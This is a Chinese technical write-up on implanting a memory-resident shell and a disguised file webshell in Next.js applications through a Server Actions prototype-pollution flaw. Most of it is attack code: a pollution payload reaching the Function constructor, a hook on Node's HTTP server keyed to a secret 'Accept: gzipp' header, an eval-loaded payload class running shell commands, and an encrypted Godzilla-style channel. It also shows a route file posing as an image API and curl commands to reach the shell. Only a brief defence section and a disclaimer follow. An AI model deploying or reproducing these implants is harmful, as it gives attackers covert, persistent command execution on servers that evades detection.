基于 Next.js Server Actions 原型污染的内存马与 Webshell 实现
字数 1737 2025-12-10 12:15:18
基于 Next.js Server Actions 原型污染的内存马与 Webshell 实现技术文档
1. 技术背景与概述
1.1 Next.js Server Actions 安全风险
Next.js 13+ 引入的 Server Actions 特性允许客户端直接调用服务端函数,在特定条件下存在原型污染漏洞。攻击者可通过构造恶意 JSON 数据污染 JavaScript 原型链,实现代码注入。
1.2 传统 Webshell 的局限性
- 路径特征明显:固定路由路径易被 WAF 检测
- 日志可追溯:访问日志中留下明显攻击痕迹
- 文件可检测:静态文件扫描可发现 Webshell
- 部署受限:需要文件系统写入权限
1.3 技术目标
实现无文件内存马和隐蔽 Webshell,具备以下特性:
- 基于原型污染漏洞的内存注入
- 自定义 HTTP Header 的隐蔽路由识别
- AES 加密通信协议
- 动态 Payload 加载机制
2. 漏洞原理分析
2.1 原型污染漏洞机制
Next.js Server Actions 在处理请求时存在不安全反序列化:
function processActionRequest(data) {
const parsed = JSON.parse(data);
for (const key in parsed) {
target[key] = parsed[key]; // 危险操作
}
}
漏洞利用 Payload 结构:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<恶意代码>",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
2.2 HTTP Server 劫持技术
通过修改 Node.js HTTP 模块的 emit 方法实现请求劫持:
const originalEmit = http.Server.prototype.emit;
http.Server.prototype.emit = function(event, ...args) {
if (event === 'request') {
const [req, res] = args;
const acceptHeader = (req.headers['accept'] || '').toLowerCase();
if (acceptHeader.includes('gzipp')) {
handleWebshellRequest(req, res);
return true; // 拦截请求
}
}
return originalEmit.apply(this, arguments);
};
3. 内存马实现方案(JsAesMemShell)
3.1 注入代码结构
(async()=>{
const http = await import('node:http');
const crypto = await import('crypto');
const zlib = await import('zlib');
const cp = await import('child_process');
// 配置密钥
const secretKey = "{secretKey}";
const password = "{pass}";
// 加密函数
function encrypt(data, isEncrypt) {
const key = Buffer.from(secretKey);
const cipher = isEncrypt ?
crypto.createCipheriv('aes-128-ecb', key, null) :
crypto.createDecipheriv('aes-128-ecb', key, null);
cipher.setAutoPadding(true);
return Buffer.concat([cipher.update(data), cipher.final()]);
}
// HTTP 劫持实现...
})();
3.2 加密方案设计
- 算法:AES-128-ECB
- 密钥派生:
MD5(password + secretKey).substring(0, 16) - 填充方式:PKCS5Padding
- 编码方式:Base64
密钥生成流程:
// 服务端
const secretKey = MD5(password + userProvidedKey).substring(0, 16);
const key = Buffer.from(secretKey, 'utf8');
// 客户端 (Java)
String processedKey = functions.md5(secretKey).substring(0, 16);
SecretKeySpec keySpec = new SecretKeySpec(processedKey.getBytes(), "AES");
3.3 动态 Payload 加载机制
第一阶段:Payload 加载
const payloadCode = `
class Payload {
formatParameter(data) {
const decompressed = zlib.gunzipSync(data);
// 解析 Godzilla 二进制参数格式
}
async run() {
const result = cp.execSync(this.command);
return result;
}
}
`;
if (!global[payloadStoreName]) {
(0, eval)(payloadCode + 'global.Payload = Payload;');
global[payloadStoreName] = global.Payload;
}
第二阶段:命令执行
const Payload = global[payloadStoreName];
const instance = new Payload();
instance.formatParameter(decryptedData);
const result = await instance.run();
4. 文件型 Webshell 实现(JsAesWebshell)
4.1 文件结构设计
// app/api/images/route.js
import { NextResponse } from 'next/server';
// 自执行函数实现核心功能
(async()=>{
const http = await import('node:http');
const crypto = await import('crypto');
const password = "user_password";
const key = crypto.createHash('md5').update(password).digest();
const iv = key.slice(0, 16);
// 加密解密函数
function encrypt(data) { /* AES-CBC 加密 */ }
function decrypt(data) { /* AES-CBC 解密 */ }
// HTTP 劫持逻辑...
})();
// 伪装成正常 API 路由
export async function POST(request) {
return NextResponse.json({ status: 'ok' });
}
4.2 加密通信协议
- 算法:AES-128-CBC
- 密钥派生:
MD5(password) - IV 生成:使用密钥作为 IV
- 填充方式:PKCS5Padding
加密流程:
public byte[] encode(byte[] plaintextData) {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
byte[] encrypted = cipher.doFinal(plaintextData);
String base64 = functions.base64EncodeToString(encrypted);
String json = "{\"data\":\"" + base64 + "\"}";
return json.getBytes("UTF-8");
}
5. 隐蔽路由技术
5.1 Header 识别机制
通过自定义 Accept Header 进行请求识别:
const acceptHeader = (req.headers['accept'] || '').toLowerCase();
if (acceptHeader.includes('gzipp') &&
(req.method === 'GET' || req.method === 'POST')) {
handleWebshellRequest(req, res);
return true;
}
Header 伪装示例:
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept: gzipp
5.2 任意路径访问
由于采用 Header 匹配,Webshell 可在任意路径响应:
curl http://target.com/ -H "Accept: gzipp"
curl http://target.com/api/images -H "Accept: gzipp"
curl http://target.com/user/profile -H "Accept: gzipp"
6. 加密通信协议详解
6.1 协议版本
- v2.0:支持 AES-128-ECB/CBC + Base64 + JSON
- 向后兼容:支持 v1.x 的 MD5 标记格式
6.2 多格式请求兼容
async function parseRequestData(req, body) {
let dataValue = null;
// 1. JSON 格式解析
try {
const jsonBody = JSON.parse(body);
dataValue = jsonBody.data || jsonBody[password];
} catch (e) { /* 忽略错误 */ }
// 2. Form-urlencoded 格式
if (!dataValue && body) {
const parsed = require('querystring').parse(body);
dataValue = parsed[password] || parsed.data;
}
// 3. Query string 格式
if (!dataValue) {
const parsedUrl = require('url').parse(req.url, true);
dataValue = parsedUrl.query[password];
}
return dataValue ? decodeURIComponent(dataValue) : null;
}
6.3 响应格式标准化
// 成功响应
{
"data": "<base64_encrypted_result>"
}
// 错误响应
{
"error": "Error message",
"status": "failed"
}
7. 安全特性分析
7.1 加密保护
- 双重加密:AES + Base64
- 密钥派生:MD5 哈希
- 防重放:每次请求独立加密
7.2 隐蔽性增强
- Header 识别替代路径匹配
- 流量伪装成正常请求
- 动态路径支持,无固定特征
7.3 抗检测能力
- 无文件特征(内存马模式)
- 无特殊进程特征
- WAF 绕过能力强
8. 技术对比总结
| 特性 | JsAesWebshell | JsAesMemShell |
|---|---|---|
| 加密算法 | AES-128-CBC | AES-128-ECB |
| 密钥派生 | MD5(password) | MD5(password+secret) |
| IV 使用 | 密钥作为 IV | 无 IV |
| 部署方式 | 文件型 | 内存注入 |
| 隐蔽性 | 中等 | 高 |
9. 防御建议
9.1 代码层面防护
- 验证 Server Actions 输入数据
- 避免不安全的反序列化操作
- 使用 Object.create(null) 创建无原型对象
9.2 运行时防护
- 监控 HTTP Server 原型修改
- 检测异常的 Accept Header
- 实施请求频率限制
9.3 安全审计
- 定期检查 Next.js 应用路由
- 监控异常的内存使用模式
- 审计第三方依赖的安全性
免责声明:本文档仅用于安全研究和防御技术研究,请勿用于非法用途。